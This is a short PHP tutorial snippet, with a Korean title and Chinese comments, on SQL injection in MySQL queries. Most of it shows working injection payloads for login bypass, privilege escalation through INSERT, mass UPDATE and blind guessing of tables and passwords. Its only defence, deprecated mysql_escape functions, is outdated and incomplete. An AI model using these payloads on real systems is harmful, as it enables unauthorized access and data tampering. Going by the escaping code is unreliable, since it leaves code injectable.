PHP에서 MySQL 주입을 방지하는 방법 및 일부 주입 방지 기능의 사용 요약

sql语句如：select  *  from phpben where id = 1

//正常语句  
$sql ="select * from phpben where user_name='admin' and pwd ='123'";  
//在用户名框输入'or'='or'或 'or 1='1 然后sql如下  
$sql ="select * from phpben where user_name=' 'or'='or'' and pwd ='' ";  
$sql ="select * from phpben where user_name=' 'or 1='1' and pwd ='' ";

//正常语句  
$sql ="select * from phpben where user_name='$username' and pwd ='$pwd'";  
//利用的用户名是benwin 则用户名框输入benwin'#  密码有无都可,则$sql变成  
$sql ="select * from phpben where user_name=' benwin'#' and pwd ='$pwd'";

//正常语句  
$sql ="select * from phpben.com where user_name='$username' and pwd ='$pwd'";  
//在密码输入框中输入“benwin' and left(pwd,1)='p'#”，则$sql是  
$sql ="select * from phpben.com where user_name=' benwin' and left(pwd,1)='p'#' and pwd ='$pwd'";

//正常语句，等级为1  
$sql = "insert into phpben.com (`user_name`,`pwd`,`level`) values(‘benwin','iampwd',1) ";  
//通过修改密码字符串把语句变成  
$sql = "insert into phpben.com (`user_name`,`pwd`,`level`) values(‘benwin','iampwd',5)#',1) ";  
$sql = "insert into phpben.com (`user_name`,`pwd`,`level`) values(‘benwin','iampwd',5)--  ',1) ";这样就把一个权限为1的用户提权到等级5

//正常语句  
$sql = "update phpben set `user_name` = ‘benwin' where id =1";  
//注入后,恶意代码是“1 or id>0”  
$sql = "update phpben set `user_name` = ‘benwin' where id =1 or id>0";  
//正常语句  
$sql = "update phpben set  `user_name` ='benwin' where id=1";  
//注入后  
$sql = "update phpben set  `user_name` ='benwin' where id>0#' where id=1";  
$sql = "update phpben set  `user_name` ='benwin' where id>0-- ' where id=1";

//正常语句  
$sql ="select * from phpben1 where`user_name`='benwin'";  
//猜表名，运行正常则说明存在phpben2表  
$sql ="select * from phpben1 where`user_name`='benwin' and (select count(*) from phpben2 )>0#' ";  
//猜表字段，运行正常则说明phpben2表中有字段colum1  
$sql ="select * from phpben1 where`user_name`='benwin' and (select count(colum1) from phpben2 )>0#'";  
//猜字段值  
$sql ="select * from phpben1 where`user_name`='benwin' and left(pwd,1)='p'#''";

if (PHP_VERSION >= '4.3')  
{  
$string  =  mysql_real_escape_string($string);  
}else  
{  
$string  =  mysql_escape_string($string );  
}